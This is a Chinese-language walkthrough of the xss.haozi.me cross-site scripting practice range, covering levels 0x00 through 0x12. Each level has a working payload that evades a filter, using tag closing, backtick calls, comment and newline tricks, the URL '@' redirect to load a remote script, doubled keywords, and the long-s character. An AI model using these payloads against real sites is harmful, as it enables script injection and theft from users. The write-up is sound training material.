項目地址:https://xss.haozi.me/
0x00
直接常規插入,
<script>alert(1)</script>
0x01
閉合前面的<textarea>標簽
</textarea><script>alert(1)</script>
</textarea><img src=0 onerror=alert(1)>
0x02
閉合前面的雙引號
"><script>alert(1)</script>
0x03
過濾了括號,用 ` 代替
<script>alert`1`</script>
0x04
把括號、正括號和引號都過濾了,可以考慮用html編碼來繞過
<img src=0 onerror=alert(1)>
0x05
后注釋符 --> 被替換成了一個表情,這里注釋符有兩種:
<!-- 注釋內容 -->
<!-- 注釋內容 --!>
可以用到第二種注釋符
--!><script>alert(1)</script>
0x06
用了正則表達式來過濾,匹配了: auto 、以on開頭且以=結尾的字符串、 >,所以過濾了autofocus和onerror等事件, 以及防止input標簽被閉合
但是它並沒有匹配換行符, 可以通過換行來繞過匹配
type="image" src=0 onerror
=alert(1)
0x07
這里分為三部分來分析: /<\/?[^>]+>/gi
1)<\/?
\轉義符與/結合, 從而轉義了/, 進而含義是匹配: </
再加上+ (匹配前面的子表達式一次或多次), 所以是匹配: < 或者 </
2)[^>]+
首先要明白, 中括號的用法: [abc] => 匹配abc中的任意一個;
然后^符號的兩種用法:
1.限定開頭: 比如, /^A/會匹配"An e"中的A,但是不會匹配"ab A"中的A
2.取反(僅處於中括號中成立): 比如,[^a-zA-Z0-9]表示 “找到一個非字母也非數字的字符”。
最后是+的含義:匹配前面的子表達式一次或多次。
所以, 總的來說,[^>]+ 匹配了除了^的任意字符的一次或者多次
3)>
單純匹配>。
總的表達式就是,匹配: </ 任意字符 >, 而且 /i 過濾了大小寫
html的單標簽也可以解析,后面+空格
<img src=0 onerror=alert(1)
0x08
正則匹配過濾了</style>,
可以加一個空格</style >,造成正則逃逸
也可以利用正則不匹配\n來繞過
</style
><img src=0 onerror=alert(1)>
0x09
正則表達式白名單式地匹配了固定網址,並閉合前面的標簽
https://www.segmentfault.com"></script><img src=0 onerror="alert(1)
0x0A
正則匹配過濾了很多關鍵字,無法在網址后面加標簽等操作了,但是可以直接引用指定網站下的目錄文件來達到xss注入的目的,在靶場的目錄下有個j.js文件, 里面有alert(1);代碼, 直接調用即可
https://www.segmentfault.com.haozi.me/j.js
也可用url的@語法來進行跳轉調用,然后@跳轉訪問即可 (beefhook原理)
https://www.segmentfault.com@https://www.joker.com/j.js
注意要都要為https或者http
0x0B
程序將所有字母轉換為大寫
HTML中對大小寫不敏感
JS中對大小寫敏感
這樣可以對js代碼進行編碼處理, 而html部分不變
<img src=0 onerror="alert(1)">
域名對大小寫也不敏感 , 所有可以用上一題的方法, 調用靶機上自帶的j.js代碼, 完成xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js></script>
0x0C
和上一題相比, 只是多了一個對script的過濾,
<img src=0 onerror="alert(1)">
也可以用雙寫繞過
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
0x0D
用正則把斜杠, 單、雙引號都過濾了
但回車可以破壞結構,再直接注入alert(1), 再配合js的注釋符 --> 注釋掉')
0x0E
正則匹配了所有大小寫字母,將尖括號后面追加一個下划線, 並且將所有字符大寫
找到一個字符的大寫是s的: ſ (古英文, 拉丁文):
https://www.thetype.com/2009/10/1577
<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>
0x0F
將一些常用的注入字符進行了html編碼處理, 由於編碼后處於html標簽中, 所以當解析代碼的時候, 被過濾編碼的字符仍然會被還原來執行, 所以可以說, 被過濾的字符可以用,構造一下,使其閉合, 在注釋掉后面的內容即可
'); alert(1); //
0x10
沒有過濾, 隨意給window.date一個值, 再注入
''; alert(1); //
0x11
//雖然被轉義成了\/\/, 但轉義之后還是//, 在js中還是注釋符 (勿與正則弄混)
"); alert(1); //
0x12
這題將雙引號轉義了, 就不能閉合了,換個思路, 它並沒有將轉義符轉義, 那么我們可以將轉義符轉義
\"); alert(1); //
完。